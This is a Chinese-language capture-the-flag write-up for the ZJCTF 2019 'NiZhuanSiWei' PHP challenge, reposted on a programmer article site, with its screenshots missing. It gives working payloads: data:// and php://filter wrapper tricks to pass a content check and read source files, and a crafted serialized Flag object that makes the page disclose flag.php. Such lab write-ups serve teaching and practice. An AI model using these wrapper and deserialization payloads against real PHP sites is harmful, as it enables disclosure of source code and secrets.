欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[ZJCTF 2019]NiZhuanSiWei

程序员文章站 2022-05-11 18:01:31
...

[ZJCTF 2019]NiZhuanSiWei

1.打开网站就是源码:

[ZJCTF 2019]NiZhuanSiWei
大概看一眼,我们的目的地一般都是在最内层判断里了。

2.从上往下看,第一层判断,是判断text参数存在且获取其内容等于“welcome to the zjctf”。这里是让我们猜其目录下的某个文件吗?不不不,这里是考我们伪协议,让我们自己操纵这个内容。
[ZJCTF 2019]NiZhuanSiWei

方法1php://input伪协议
(比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的)[ZJCTF 2019]NiZhuanSiWei
方法2data伪协议

?text=data:text/plain,welcome to the zjctf

[ZJCTF 2019]NiZhuanSiWei
可能还有些其他方法吧,我知识面尚窄。

3.第二步是file参数里不能出现flag字符,我们看到提示“useless.php ”,先包含它看一下。(因为是php文件,我们想看到内容就需要php://filter伪协议)
[ZJCTF 2019]NiZhuanSiWei

?text=data:text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

[ZJCTF 2019]NiZhuanSiWei

4.拿去解码看一下:
[ZJCTF 2019]NiZhuanSiWei
这里定义了Flag类,里面有__tostring魔术方法,这个魔术方法是在类被当成字符串的时候调用,然后获取file的值并输出。而且这里也提醒了我们flag.php。

5.那么现在我们就包含useless.php文件,后面对$password进行了反序列化,我们让$password反序列化出Flag类,因为$password被当做字符串输出,所以会调用__tostring魔术方法,然后会输出file的内容。那么我们就构*序列化的值。(我是不可能手动构造的,滑稽)

<?php
class Flag{  //flag.php  
    public $file;  
}
$flag = new Flag;
$flag->file = 'flag.php';
print(serialize($flag));
?>

[ZJCTF 2019]NiZhuanSiWei

6.最终payload:

/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag在源代码里。
[ZJCTF 2019]NiZhuanSiWei